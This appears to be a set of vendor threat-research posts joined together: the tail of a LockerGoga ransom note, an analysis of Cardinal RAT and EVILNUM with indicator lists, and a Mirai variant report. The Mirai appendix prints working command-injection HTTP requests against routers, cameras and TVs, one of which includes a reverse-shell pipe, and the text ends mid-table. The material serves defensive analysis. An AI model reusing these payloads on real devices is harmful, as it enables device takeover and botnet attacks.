will lead to irreversible destruction of your data.

 

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

 

We exclusively have decryption software for your situation

 

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

 

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

 

To get information on the price of the decoder contact us at:

 

MayarChenot@protonmail.com

QicifomuEjijika@o2.pl

Figure 4. Latest LockerGoga ransom note

Cardinal RAT Sins Again, Targets Israeli Fin-Tech Firms

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader. Since that publication, we have continued to monitor this threat, resulting in the discovery of a series of attacks using an updated version of Cardinal RAT. A series of modifications have been made to the RAT, many of which are used to evade detection and hinder analysis.   

We witnessed attacks targeting the financial technology (FinTech) sector, primarily focused on organizations based in Israel. While researching these attacks, we discovered a possible relationship between Cardinal RAT and another malware family named EVILNUM. EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.   

Cardinal RAT Employs BMP Trick 

Since the original discovery of Cardinal RAT, the attackers have made some minor updates that are worth discussing, particularly regarding obfuscation techniques. For the sake of this analysis we’ll look at the most recent version of Cardinal RAT:   

SHA256  b742162197744a8caeb09f954213a3172ed699f8375f69c40b57b8c219c5e37c 

 The last time we wrote about Cardinal RAT in 2017, we looked at version 1.4 of the malware family. We identify this latest sample as version 1.7.2 based on information within the payload. Unlike previously discussed samples, this latest instance of Cardinal RAT employs various obfuscation techniques to hinder analysis of the underlying code. The first layer of obfuscation comes in the form of steganography; the initial sample is compiled with .NET and contains an embedded bitmap (BMP) file.

  Figure 1. Embedded BMP file contained within .NET loader 

 Upon execution, the malware will read this file, parse out pixel data from the image, and decrypt the result using a single-byte XOR key. We have provided a Python script to automate this process in the Appendix of the blog post. The result is a DLL also compiled with .NET, with the following hash:  

SHA256  01e007b8304eb0cbcb2be11ddb86298dc85c084fb5459eda319a69ef50799f88 

 After this file has been loaded in memory, the initial loader will load and execute the ‘corerun function, initiating the second stage of the malware. The DLL begins by performing a sleep using the built-in Windows choice utility: 

 cmd.exe /c choice /C Y /N /D Y /T 20 

The command prompts the user for a choice with a 20 second timeoutat which point the process will exit. Since the window is hidden, and there is no utility for this choice, the malware simply uses this as an alternative sleep command. 

The second stage DLL reads in the ‘strings’ embedded resource from the first stage executable. Part of this resource is decrypted to provide configuration information to the dropper. This configuration information will instruct whether or not the malware enters its installation routine. In the installation routine, it begins by writing a unique GUID identifier to %TEMP%\[random].ini. Afterwards, it creates the following directory: 

%APPDATA%\Microsoft\Windows\IEConfig 

 It then writes an embedded executable with the hash below to %TEMP%\[random].exe. This file has an internal filename of RunExecutive.exe and simply copies the contents of argument #2 to the file path specified in argument #1.   

SHA256  2167d393ec89ec0c6e2d7557a7ad22aa1953dd8082f599bee14977c25a128cce 

The malware creates an LNK file in the victim’s startup folder with a randomly generated filename using a GUID (Example: {fcb29182-b3cc-47e2-a95c-b22c6d87dda1}.lnk). The LNK file executes the following command: 

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "%APPDATA%\Microsoft\Windows\IEConfig\[random]\sqlreader.exe"  

 Finally, the malware will execute the previously written RunExecutive executable with arguments to copy the original executable to the previously referenced sqlreader.exe file path.  

 Thremaining segment of the embedded resource is decrypted using a 16-byte XOR key, resulting in a .NET executable. This executable is injected into one of the following two legitimate executables or processes on the system:  

  • RegSvcs.exe 
  • RegAsm.exe 

 In previous versions of this malware family, there were a larger number of legitimate processes Cardinal RAT would inject into. The final payload has the following hash:  

SHA256  04de4b51c881e65236c9efdbfbc0099e6b48fd1723a6e51bf480b52104dd2ba2 

 Underneath all this obfuscation, this Cardinal RAT payload does not have any significant changes compared to the previously discussed version in terms of its operation or capabilitiesOne of the most significant changes lies in the obfuscation used by the malware; all of the functions, methods, and variables have been renamed to MD5 hashes. 

Figure 2. Obfuscation present in Cardinal RAT payload 

In addition to the obfuscation routines in use, there have been a few minor changes within the malware itself. First, the embedded configuration has a few changes both in the order of the embedded values, as well as what values are present. Additionally, the way this configuration is encoded has changed slightly, as several values that were previously base 64 encoded in version 1.4 are no longer base64-encoded. 

$ python parseConfig.py GreyCardinalConfig 

Mutex: {509ce3ef-e03e-467e-be19-710782f13c28} 

Campaign Identifier: '\xf1\xaf\x02i.]\xa4\xe0' 

C2 Server: affiliatecollective[.]club 

C2 Port: 443 

Hash Value: 0304674e9876530dfbea5a9b4fec7b98 

Additional C2 Servers: 0 

GUID: '\xd6\x04hr\x9a\xedLN\xae\xe8\xd0\x87\x80\x19\x15z' 

Buffer Size: 81920 

Max Buffer Size: 40960000 

Sleep Timer Between Requests: 2000 

Unused Integer: 60000 

Unused Integer: 0 

Perform Keylogging: 0 

Disable Sleep on Victim: 0 

Network communication and actions available to the remote operator remain consistent between versions. The script provided in our previous report continues to work as expected against the network traffic generated by this malware family. The following actions continue to be present within the malware:  

  • Collect victim information 
  • Update settings 
  • Act as a reverse proxy 
  • Execute command 
  • Uninstall itself 
  • Recover passwords 
  • Download and Execute new files 
  • Keylogging 
  • Capture screenshots 
  • Update Cardinal RAT 
  • Clean cookies from browsers 

Enter EVILNUM 

When looking at files submitted by the same customer in a similar timeframe to the Cardinal RAT samples, we saw that the customer had also submitted a malware family we’d been tracking as EVILNUM. From our viewpoint this is another family that seems to be used solely in attacks against finance related organisations. 

 When we cross-referenced submissions to online sandboxes, we found an additional case to ours, where another organization had submitted both EVILNUM and Cardinal RAT on the same day; both of which are rare malware families with limited distribution. 

 We opted to use the name EVILNUM, since in some versions of the malware the C2 is calculated by reading the page, parsing a numerical value, dividing it by 666 and then converting the resulting decimal to an IP address. There are at least two versions of this malware, one written in JavaScript, and another written in .NET. 

SHA256  Type 
bee6c5a506d6fb2cc129443c74b7676fbb9a79b53b92b2cac4c7fb8209592714  .NET 
97c97ad2baef37eea023549131c192f441aa7976747166cd31095e7dad17948c  JS 

Despite the differences in programming language used, the samples are similarand we believe the .NET edition is likely a rewrite of the .JS version. 

EVILNUM has been covered in the public domain previously (albeit with no name assigned to the malware family) and has been noticed by multiple analysts on Twitter. It’s a first-stage malware family which gives an attacker data about the infected host before they decide to install other utilities on the machine. EVILNUM’s supported commands vary from version to version and include but are not limited to:  

  • Setting up persistence 
  • Run an arbitrary command using cmd /c  
  • Download of additional files 
  • Ability to take screenshots 

 Since the operation of the malware is well covered already in the pwncode article, we’ll simply illustrate a few of the differences and similarities between the older and newer versions of the malware in the table below:  

  May 2018 version  January 2019 version 
Version #  1.3  2.1 
C2s used  Public Forums/Git, find number, divide by 666, num2ip  Public Forums/Git, find number, divide by 8, num2ip 
Functionality to steal local cookies 
Use of Lock file 
Adds to Startup as LNK? 
Add to startup method?  via cmd line  By importing a reg file 
Function naming  this_function  ThisFunction 
Ability to take screenshots 

Table 1. Highlights of the similarities (in green) and differences (in red) between EVILNUM versions  

The malware appears to have been given a general rewrite(as indicated by the authors’ version number) with many functions being rewritten from scratch. 

Despite this, the core functionality of the malware is mostly the same, and some of the concepts used in the malware family (such as the lock file) remain the same. It’s likely that the malware only serves as a first stage and the attackers deploy further tools to target networks of interest. 

Targeting 

Since April 2017, we have observed Cardinal RAT in attacks against two customers, both customers were FinTech companies who write software relating to forex and cryptocurrency trading, and both companies were based in Israel. Looking at submissions to VirusTotal, there are 13 Carp Downloader documentsNote that we are only looking at submissions for “entry” type files, not subsequent dropped files. When looking at the first submitters for these documents in Figure 1, we see they are predominantly uploaded from Israel. 

 

 Figure 3. Distribution by country for Carp Downloader submissions to VirusTotal

 In the case of EVILNUM, we have only seen one instance at a customer (the same one we referred to earlier in this article). When it comes to investigations from public sandboxes though, the distribution of the initial files used in infections is most commonly via LNK files. The geographical distribution of first submitters for EVILNUM is quite different, as shown in Figure 4. 

 

 Figure 4. Distribution by country for EVILNUM submissions to VirusTotal 

Conclusion 

Cardinal RAT and EVILNUM are both used in limited distribution attacks against FinTech companies. In one case, both families were observed at the same target in a short space of time, whilst droppers for both families share similarly themed lure documents.  

We suggest that these families are used in targeted attacks against FinTech companies because:  

  • Our telemetry shows these families are only used against companies in this sector. 
  • The lure documents used consistently related to lists of names/numbers of individuals involved in trading forex/crypto currency, a niche theme to use if targeting individuals outside of this sector. 

 We believe it’s possible that both families are used by the same attackers because: 

  • We know of two cases where a company was targeted or appears to have been targeted by both malware families in short succession. 
  • Both families have been distributed using malicious documents containing lists of names/numbers of individuals involved in trading forex/crypto currency.
  • The differences in geographical distribution can be easily explained as a difference in visibility. 

 However, there are a number of arguments against the two families being related: 

  • In terms of the geographic spread of where these families are seen, the targeting for each family seems to be quite different.  
  • The delivery methods for each family do not share any similarities. 
  • The infrastructure associated with each malware family is distinctive and different with no cross-over in terms of hosting providers or other attributes being observed. 

Even if the two families are not linked, they both have similar targeting interests, and so FinTech organisations should ensure they are protected against the malware used. Whilst we haven’t been able to gain an insight into what the attackers do once successfully on a target network, it’s likely (based on the targets) they use their access to facilitate financial gain. 

 Organizations with effective spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Generic defenses against these threats include:  

  • Do not allow inbound e-mails with LNK file as attachmentsor, do not allow inbound e-mails with attached ZIP files containing a single LNK file inside them.
  • Do not allow inbound e-mails from external sources where the documents contain macros, or, if you do, ensure proper policy is configured.
  • Enforce parent-child process policies to restrict use of scripting languages by malware. 

Palo Alto Networks customers are further protected from this threat by:  

  • EVILNUM variants are blocked by our IPS, see threat IDs 18781 and 18782. 
  • Wildfire and Traps detect all files referenced as malware. 

 AutoFocus users can track this activity using the CardinalRATCarpDownloader and EVILNUM tags. 

Appendix 

Script to decrypt BMP from Cardinal RAT dropper 

from PIL import Image 

import sys 

from struct import * 

im = Image.open(sys.argv[1]) 

pix = im.load() 

width, height = im.size

fileSize = unpack("I", (pack("bbbb", pix[0,0][0],pix[0,0][1],pix[0,0][2],pix[1,0][0])))[0] 

 

key = 187 

out = "" 

for ind, h in enumerate(range(height)): 

if ind == 0: 

j = 2 

for w in range(width-2): 

pixel = pix[j, ind] 

out += chr(pixel[0] ^ key) 

out += chr(pixel[1] ^ key) 

out += chr(pixel[2] ^ key) 

j += 1 

else: 

for k in range(width): 

pixel = pix[k, ind] 

out += chr(pixel[0] ^ key) 

out += chr(pixel[1] ^ key) 

out += chr(pixel[2] ^ key) 

 

finished = out[0:fileSize] 

print("Writing output to 'dumped.exe_'...") 

fh = open("dumped.exe_", 'wb') 

fh.write(finished) 

fh.close() 

Indicators of Compromise 

Cardinal RAT samples 

b742162197744a8caeb09f954213a3172ed699f8375f69c40b57b8c219c5e37c 

06151c14153e983ae7ab793c7cd0e5ac3faf8e200894955b02e1191429eff29a 

9e6671a8af28e0ab6c37c044d85a2406b665a171ae3bef46f3e90d06e33027ae 

448c33094322b200c53ff016fec29469b3e52def359430113115cc70d7f28704 

06f1348c8a2ffab67627556075ddcad92998526d4d3802b9c2357d169531825f 

ca8af85f7eed79a73984b2dccd3dd2148865dfed7a009842be7372e6ce18037f 

75ca794f265ebad84954f13480e0e31c17048d21c4b52e949864c951437d0c2c 

78e2929e5dae8677f9db3aa7eaa96ad584c872343698e18f85349a027328b3ea 

f4f52c45ca3d4d4ce33981f660d23e8df4a9c0e345fdd6429d8b46f6c0528c38 

dd8fe0e27bf798cace40ac0d58b833ba3bbf16d80175296601585ed1964465ec 

20fec2d1824b585aa558b7cf9e9980acd665736ce9f7a124507cf46afb30c79f 

dab228c236d48fa1660bcec59e17e5004726741a85b0fbeef8300f29927c32d9 

f75883ff35104a032dd047ca39d35ec98601c76aa02f58ad655df6deaadecb55 

a545288c4d491d510972d583b773f8a0c5dc355942e322cf767d33121c659c1c 

64a9bdf4ff33e8f2e74dc16d7dce0f392aa130ff9b99458778fd25d9aadff381 

66f38591e8c80bb26623b0e6be5ab976fdf745c2afa020c7d98e2814960b5961 

65b726aab53920c497f83eb1f3cbd6b7dbfc2074aab6761b7485aa98f2df139a 

3ec85a019a480114856d3022961d7a55c1ae7cfa81b0073b2c1abcf99e0e541f 

43fb0b13f9872a54f91a7bf202b23a8a16de99d054a83ed08b9ea97f9e2675e8 

137f9265cba1101ae5d63b94c6ad1b47c7d02f0ab4f54a1af3169422791790cf 

101af6fdb990e5e9584382a65f5cee7efd9e89c38e928beca18419bdf70ef076 

f9bccd349cf841d0f25e81d80a1b4bf73dd960a1f3aa71029a18e36480c80392 

f027735c3db77e67cf7bada8862ddbb0d85a2caacbb4b2825e4acdfa863a14c9 

75996bbfcd2b343523ed79476f9516cc7d2b041c43841e5e735db4f22ae970c3 

0097dd7676b810bd0c1c70d8c86604c830e1e8e88f6a13c3869747faba381076 

08ce077e8d54db08ede1095d03286146d04e8cbce74ec91a9fc7b9d0a99ddb9f 

28e9e0fcc6899db7a16315d3dca38b6166ba318f8ca07b422ebadaab209b589b 

2247c528fc1b90b725d857cc5d45572e864c6c4948100458774f0ef6a8f11403 

dfa041f6cbe9d83cdaaed90466693efca33729c99fa43b29ab8e44bb27eb0a6b 

4045950ffa263b92774e92ab36b3ec52bf18f1c133b8d155819629d2ad4b3d1c 

85f1053041ef7af8a1c3d941e18de21e7adc24537863063d127bab8a8d2dc64b 

98200955db80cb5835158320ba94b2b55bc7028ea988b75f02adee3df40793f3 

ae8fb2f138981f10092761768428fb312e3e49bc23d5b610e3127c1a387aede8 

66f43e57648f01ea5f8d0d152db1df90c764eebeb701403936a15c47e2965353 

943cef39e54457fcfa21f5a8ed0f04095c1d4b798453770be5dda5db7d5406ac 

ca2a01792873233693e17fe51c4c86c05d07e31f9b579ab0444dd89733633532 

4fde64e9391d36aaff700ce0be3df9e7e6303b6de114332286de694af33dd7da 

5909b5999d3998f578a3acb4bf85e0b3fde102c417c40b6beed0dd3b8ceb51bf 

0212334200668ac64cb63fc1a4f4ea17e956f6928a2211c945c2e07f1b25a3ef 

bae230d6a988723b33158bbeef4ab90b1bff7b521fed9cab0c5e1f5b69a01de5 

b01b7a5798f41a5fae54b4189db6f47c6110a0b53a4df32cb7d0f13503c5250c 

fb63acfda1730132dbfbf1d46834d771156aac3f7c8e97ea136ca6edbe811fad 

268c3c9a98f2a15aaab9b0488225b0ba4e3d35efa30f6fed9052ffd31042bd7b 

0afec067628e901f7151861b0924ffb1909d21a707177b1e6cf2c8d491bb1a60 

985d893426373d4e71386d731e5bc44c1c2ac93e0920dddeb4380929af43dfcb 

82017e34c232e05094c2bbed2e62f6b55c1ed8f645803784cac791cc4690beaf 

8d8ccaf5a241112d173147b6b08ad5b7953c940ff5928e3046781c1e58a9c73a 

427b635915e0fe313ce58175faa1cc240ae26183fb88d05864bc20ef6d87aca3 

00f93492edb3274f71686fa469f6c9031a94292a2776c623a1596f710bf4eaa1 

5dcec8a061195bd4a2c3e96afecc48b1f0143b6ac4644c518ed8a923d2dcbe21 

02e85f39adf8613fd1be610e4e76f4fac08949f2e0198e8cf89a7c3a17cdd6d9 

5e60f17396e2ddfce8e60c964056d63cc3b17646c31b4a4f934c2d1fb4f5ba71 

cbcb627ff2220ed269aaa58203e7e89f1988210073d35f5f4019f8ecfd012f81 

267b1df7bc64c1b93b604d964f52801733fdd43efaf7742810b9277f00ad17ff 

e017651dd9e9419a7f1714f8f2cdc3d8e75aebbe6d3cfbb2de3f042f39aec3bd 

778090182a10fde1b4c1571d1e853e123f6ab1682e17dabe2e83468b518c01df 

8fababb509ad8230e4d6fa1e6403602a97e60dc8ef517016f86195143cf50f4e 

1977cedcfb8726dea5e915b47e1479256674551bc0fe0b55ddd3fa3b15eb82b2 

16aab89d74c1eaaf1e94028c8ccceef442eb2cd5b052cba3562d2b1b1a3a4ba6 

9c47b2af8b8c5f3c25f237dcc375b41835904f7cd99221c7489fb3563c34c9ab 

211b7b7a4c4a07b9c65fae361570dbb94666e26f0cc0fa0b32df4b09fcee6de2 

fd61a5cd1a83f68b75d47c8b6041f8640e47510925caee8176d5d81afac29134 

84f822d9cf575aeea867e9b73f88ad4d9244293e52208644e12ff2cf13b6b537 

855cf3a6422b0bf680d505720fd07c396508f67518670b493dba902c3c2e5dfa 

4b4c6b36938c3de0623feb92c0e1cb399d2dc338d2095b8ba84e862ef6d11772 

5dd162ab66f0c819ee73868c26ecd82408422e2b6366805631eab95ae32516f3 

6e2991e02d3cf17d77173d50cdaa766661a89721c3cc4050fba98bea0dbdb1a9 

1e8ed6e8d0b6fc47d8176c874ed40fb09644c058042f34d987878fa644f493cc 

647e379517fed71682423b0192da453ec1d61a633c154fdd55bab762bcc404f3 

ebd4f45cbb272bcc4954cf1bd0a5b8802a6e501688f2a1abdb6143ba616aea82 

edc49bf7ec508becb088d5082c78d360f1a7cad520f6de6d8b93759b67aac305 

7482f8c86b63ce53edcb62fc2ff2dd8e584e2164451ae0c6f2b1f4d6d0cb6d9c 

2fbd3d2362acd1c8f0963b48d01f94c7a07aeac52d23415d0498c8c9e23554db 

154e3a12404202fd25e29e754ff78703d4edd7da73cb4c283c9910fd526d47db 

fc5f7a21d953c394968647df6a37e1f61db04968ad1aca65ad8f261b363fa842 

a1d5b7d69d85b1be31d9e1cb0686094cc7b1213079b2a66ace01be4bfe3fb7c3 

4b0203492a95257707a86992e84b5085ce9e11810a26920dbb085005081e32d3 

a05805bcec72fb76b997c456e0fd6c4b219fdc51cad70d4a58c16b0b0e2d9ba1 

4e953ea82b0406a5b95e31554628ad6821b1d91e9ada0d26179977f227cf01ad 

6272ed2a9b69509ac16162158729762d30f9ca06146a1828ae17afedd5c243ef 

440504899b7af6f352cfaad6cdef1642c66927ecce0cf2f7e65d563a78be1b29  

Carp Downloader samples (binaries and documents) 

9a2491d803407b8696d6b797f8b90d728a8db3583bf4c2977cbeef8be0eb7249 

7220e659d59491db50661c54762b49bf6976acbeb723b5d59abde48301c86228 

c2d944a939bdc810d603149c0685f0bcb55a84d1f3a6ea33e9debe893fd0a8dd 

d562f01384b1d215758227fb2c165ed633fe9997096613fed8ce3bdf8963e4fd 

fdee357557a69d3dfa629d0cbd585d9c5dadc526dfb424af56c8edcc7a67d556 

0716f3f9cb0dead0c1f156a07adfeb3e0d72e4ea4af7b67238fae3e1ae670f90 

2016766acaeb1b89415fb6ef03f6ee815b8fe76b8955a6a41d2bbb28dfa74c28 

d7996ac876fa0ece281e49e7955dfbbf4ef1239b1ee63a0e21d6c4ed4b7c6559 

96067fc9b137ceecab2ff29ac56ff6897a7c73657ace7c40d70b7c1ebaaccf39 

ea581e8e625a3748da9663414182d1b99f9c5ddb0b9db2fbf1059a28c69cc10c 

a2dfe3a5a1e999af7f1920d28e05d8b0ce66c6e8b2947177878862ce1f870b17 

5665527ce54ed1a79ddb8e3c10499ac0b7af5c79a8cf5a37448baccbf6dba09f 

b4632dcf0b23467970ee7e0844e7c8a931dc3a0f549c0aa5e40e41c1b5b31fdc 

6ecd376cdc182bf157e59d500da6092891e6cd9a61305214e462d6e990e6e834 

0fabc65c316e8d84493d07cd39bfdd59481af9f9a7ebc9103693f1788438a438 

a52ba498d304906d6c060e8c56ad7db50e1af0a781616c0aa35447c50c28bae9 

5025aa0fc6d4ac6daa2d9a6452263dcc20d6906149fc0995d458ed38e7e57b61 

1181f97071d8f96f9cdfb0f39b697204413cc0a715aa4935fe8964209289b331 

d5d885734969641f43c64edf9788837df0d3452413a7ef835f8910d56c60c91c 

0438becfd66d728778f47d734d2f0bc4d1462d945cf4b6dde9fbf627eb0bb02d 

84e705341a48c8c6552a7d3dd97b7cd968d2a9bc281a70c287df70813f5dca52 

ae1a6c4f917772100e3a5dc1fab7de4a277876a6e626da114baf8179b13b0031 

e49e61da52430011f1a22084a601cc08005865fe9a76abf503a4a9d2e11a5450 

192b204dbc702d3762c953544975b61db8347a7739c6d8884bb4594bd816bf91 

571b58ba655463705f45d2541f0fde049c83389a69552f98e41ece734a59f8d4 

10f53502922bf837900935892fb1da28fc712848471bf4afcdd08440d3bd037f 

8bea55d2e35a2281ed71a59f1feb4c1cf6af1c053a94781c033a94d8e4c853e5 

057965e8b6638f0264d89872e80366b23255f1a0a30fd4efb7884c71b4104235  

EVILNUM samples 

97c97ad2baef37eea023549131c192f441aa7976747166cd31095e7dad17948c 

bee6c5a506d6fb2cc129443c74b7676fbb9a79b53b92b2cac4c7fb8209592714 

7f0c5e2850d10d4bf129e0d290010bedff44a0f506d92de79ef6d69fd78487e3 

508e25a0e729824f06f4960b635600acf3cab87ebb87854d1989ff0ba2f03e78 

997de4372efd576cdb55188a06e4699660a29c37e285e23cdd8a1a9585e6e789 

e5e172cd93e97480a9982f821c8f1bdf9756803a3fb8a1a7a39e262cda192cb6 

8db0118d4bbc10efd0fd6733d987ddeee7afc6c3ebe4ee1157ae9243aba362d9 

Cardinal RAT Infrastructure (samples observed from mid 2017 onwards only) 

s.dropinbox[.]host 

secure.dropinbox[.]pw 

s.spotmacro[.]online 

secure.spotoption[.]pw 

190.10.8[.]238 

affiliatecollective[.]club 

EVILNUM Infrastructure  

 hxxps://raw.githubusercontent[.]com/venomisherenow/wearevenom/master/README.md 

hxxps://raw.githubusercontent[.]com/idontwantcofee/ihavepoop/master/README.md 

hxxps://raw.githubusercontent[.]com/yoshimaster8/whatcha/master/readne 

hxxps://raw.githubusercontent[.]com/grobagala/pizza/master/readne 

hxxps://gitlab[.]com/githubuser/testing/commits/master 

hxxps://raw.githubusercontent[.]com/sarutubi/Luckyluke/master/README.md 

hxxps://raw.githubusercontent[.]com/hititdolly/justcallmeangel/master/README.md 

hxxps://www.codeplex[.]com/site/users/view/saidjaosdjo 

hxxps://raw.githubusercontent[.]com/iuasbduias/auhidshas/master/README.md 

hxxps://www.digitalpoint[.]com/members/bitbox123.922831/ 

 

139.28.37[.]0 

127.194.87[.]192 # likely attacker testing 

127.194.73[.]243 # likely attacker testing 

wikipeldia[.]org 

185.247.211[.]198 

185.20.187[.]4 

193.22.96[.]98 

193.22.98[.]182 

193.22.99[.]168  

 

 

New Mirai Variant Targets Enterprise Wireless Presentation & Display Systems

Executive Summary

In early January 2019, Unit 42 discovered a new variant of the infamous IoT/Linux botnet Mirai.

Mirai is best known for being used in massive, unprecedented DDoS attacks in 2016. Some of the most notable targets included: web hosting provider OVH, DNS provider Dyn and Brian Krebs’ website.

This new variant that Unit 42 discovered is notable for targeting different embedded devices like routers, network storage devices, NVRs, and IP cameras and using numerous exploits against them.

In particular, Unit 42 found this new variant targeting WePresent WiPG-1000 Wireless Presentation systems, and in LG Supersign TVs. Both these devices are intended for use by businesses. This development indicates to us a potential shift to using Mirai to target enterprises. The previous instance where we observed the botnet targeting enterprise vulnerabilities was with the incorporation of exploits against Apache Struts and SonicWall.

In addition to this newer targeting, this new variant of Mirai includes new exploits in its multi-exploit battery, as well as new credentials to use in brute force against devices.

Finally, the malicious payload was hosted at a compromised website in Colombia: an "Electronic security, integration and alarm monitoring" business.

These new features afford the botnet a large attack surface. In particular, targeting enterprise links also grants it access to larger bandwidth, ultimately resulting in greater firepower for the botnet for DDoS attacks.

These developments underscore the importance for enterprises to be aware of the IoT devices on their network, change default passwords, ensure that devices are fully up-to-date on patches. And in the case of devices that cannot be patched, to remove those devices from the network as a last resort.

Exploits

This latest sample contains a total of 27 exploits, of which are 11 new to Mirai.

A full list of the exploits we have observed are listed in the Appendix. Table 1 lists exploits that haven’t been observed in the wild prior to this sample and Table 2 lists other exploits included in this variant have been observed only recently in the wild but were incorporated in variants prior to this one.

Other Features

Aside from the incorporation of unusual exploits, this new variant had some other differentiating features:

  • It makes use of the same encryption scheme as is characteristic of Mirai with a table key of 0xbeafdead.
  • When decrypting strings using this key, we found certain unusual default credentials for brute force that we haven’t come across until now:
  • It uses the domain epicrustserver[.]cf at port 3933 is for C2 communication.
  • In addition to scanning for other vulnerable devices, the new version can be commanded to send out HTTP Flood DDoS attacks.

Infrastructure

Ironically, the shell script payload (still live, at the time of this writing) fetched by the exploits in this variant is hosted at the compromised website for an "Electronic security, integration and alarm monitoring" business in Colombia.

Figure 1. Shell script payload fetched by exploits

Additionally, the binaries downloaded by the shell script were named in the format clean.[arch]” (e.g. clean.x86, clean.mips etc.), however they don’t appear to be hosted at the website any longer.

Pivoting on the payload source revealed some samples fetching the same payload that were hosted at 185[.]248.140.102/bins/. The same IP was hosting some Gafgyt samples using the name format “eeppinen.[arch]” a few days prior to the upgrade to this new multi-exploit variant.

Conclusion

IoT/Linux botnets continue to expand their attack surface, either by the incorporation of multiple exploits targeting a plethora of devices, or by adding to the list of default credentials they brute force, or both. In addition, targeting enterprise vulnerabilities allows them access to links with potentially larger bandwidth than consumer device links, affording them greater firepower for DDoS attacks.

Palo Alto Networks customers are protected by:

  • WildFire detects all related samples with malicious verdicts.
  • All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag ELFMirai

Appendix

Vulnerability Affected Devices Exploit Request Format
CVE-2018-17173 LG Supersign TVs GET /qsrserver/device/getThumbnail?sourceUri=''+-;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f+|+/bin/sh+-i+2>&1+|+;%s+supersign_p%d; >/tmp/f ;&targetUri=/tmp/thumb/test.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&=1537275717150 HTTP/1.1

User-Agent: Hello, world

Host: [IP]:[Port]

Connection: keep-alive

WePresent WiPG-1000 Command Injection WePresent WiPG-1000 Wireless Presentation systems POST /cgi-bin/rdfs.cgi HTTP/1.1

Host: [IP]:[Port]

Content-Type: application/x-www-form-

Content-Length: 1024 Client=;%s+wepresent_p%d;&Download=submit

DLink DCS-930L Remote Command Execution DLink DCS-930L Network Video Cameras POST /setSystemCommand HTTP/1.1

Host: [IP]:[Port]

Authorization: Basic YWRtaW46

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 1024

Connection: keep-alive

 

ReplySuccessPage=docmd.htm&ReplyErrorPage=docmd.htm&SystemCommand=%s+dcs930l_p%d;&ConfigSystemCommand=Save

DLink diagnostic.php Command Execution DLink DIR-645, DIR-815 Routers POST /diagnostic.php HTTP/1.

Host: [IP]:[Port]

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 512

 

act=ping&dst=&+;%s+dlinkdir_p%d;&

Zyxel P660HN Remote Command Execution Zyxel P660HN-T routers POST /cgi-bin/pages/maintenance/logSetting/logSet.asp HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

logSetting_H=1&active=1&logMode=LocalAndRemote&serverPort=123&serverIP=1.1.1.1;%s+P660HN-T_p%d;&#

 

POST /cgi-bin/ViewLog.asp HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=;%s+P660HN-T_p%d;#&remoteSubmit=Save

CVE-2016-1555 Netgear WG102, WG103, WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 devices GET /boardData102.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgear102_p%d;+echo+# HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

 

GET /boardData103.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgear103_p%d;+echo+# HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

 

GET /boardDataNA.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearNA_p%d;+echo+# HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

 

GET /boardDataWW.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearWW_p%d;+echo+# HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

 

GET /boardDataJP.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearJP_p%d;+echo+# HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

CVE-2017-6077, CVE-2017-6334 Netgear DGN2200 N300 Wireless ADSL2+ Modem Routers POST /ping.cgi HTTP/1.1

Host: [IP]:[Port]

Authorization: Basic YWRtaW46cGFzc3dvcmQ

Referer: http://%s/DIAG_diag.htm

IPAddr1=12&IPAddr2=12&IPAddr3=12&IPAddr4=12&ping=Ping&ping_IPAddr=12.12.12.12;%s+dgn2200v1_p%d;

 

POST /dnslookup.cgi HTTP/1.1

Host: [IP]:[Port]

Authorization: Basic YWRtaW46cGFzc3dvcmQ

Referer: http://%s/DIAG_diag.htm

host_name=www.google.com;+%s+dgn2200v2_p%d&lookup=Lookup

Netgear Prosafe Remote Command Execution Netgear Prosafe WC9500, WC7600, WC7520 Wireless Controllers POST /login_handler.php HTTP/1.1

Host: [IP]:[Port]

Content-Type: application/x-www-form-urlencoded

Content-Length: 512

reqMethod=json_cli_reqMethod&json_cli_jsonData=;%s+prosafe_p%d;+echo+ffffffffffffffff

Table 1 New exploits used in the Mirai variant

Some other exploits included in this variant have been observed only recently in the wild but were incorporated in variants prior to this one. These exploits are listed in Table 2 below:

Vulnerability Affected Devices First seen (in the wild) Exploit Format
Netgear ReadyNAS Remote Command Execution/CVE-2018-15716 Netgear ReadyNAS Surveillance 1.4.3-16 and NUUO NVRMini devices Oct, 2017 GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;%s+readynas%d;%27  HTTP/1.1

Host: [IP]:[Port]

Connection: keep-alive

Linksys WAP54Gv3 Remote Debug Root Shell Linksys WAP54G Wireless Access Points Dec, 2018 POST /debug.cgi HTTP/1.1

Host: [IP]:[Port]

Content-Length: 1024

